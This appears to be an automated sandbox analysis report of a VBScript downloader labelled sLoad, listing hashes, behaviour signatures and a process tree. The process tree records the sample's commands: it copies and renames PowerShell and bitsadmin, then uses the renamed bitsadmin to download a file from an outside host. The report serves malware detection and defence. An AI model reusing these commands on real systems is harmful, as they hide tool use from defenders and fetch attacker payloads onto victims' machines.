Analysis

  • max time kernel
    133s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-06-2024 02:15

General

  • Target

    1451e485a998efac76f8e81d34988893_JaffaCakes118.vbs

  • Size

    8KB

  • MD5

    1451e485a998efac76f8e81d34988893

  • SHA1

    ee86e3f24e2c83b32c072ddbf0961e93cf0f6624

  • SHA256

    e97269e83b3cc604702b44e6676b0134611fa8746755c068c7da97c7b1d038f4

  • SHA512

    e39306b4088a1c170f01cc94289bbe37dae1f000fd7000d7e3a480bcd68ff7fdb1a8705108fe9625bc387449c43773b9631e3809c75a925287ccf83660c294f1

  • SSDEEP

    192:PFKxFd2YweUljAi+aijg9i6XgSJbK01rlxi/h+iO0mmyzUDlq:I2tecjAhaSg9i6wSJbR1rTisqyYRq

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1451e485a998efac76f8e81d34988893_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:712
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\abSzcTl.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\bajkDpX*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4648
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\abSzcTl.exe
        3⤵
          PID:2460
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\bajkDpX*.exe
          3⤵
            PID:1248
        • C:\ProgramData\bajkDpXin.exe
          "C:\ProgramData\bajkDpXin.exe" /wrap /transfer HvDfaQXV https://fakedepth.com/real/11072830968/dev.rtf C:\ProgramData\dev.rtf
          2⤵
          • Executes dropped EXE
          PID:4896

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\bajkDpXin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a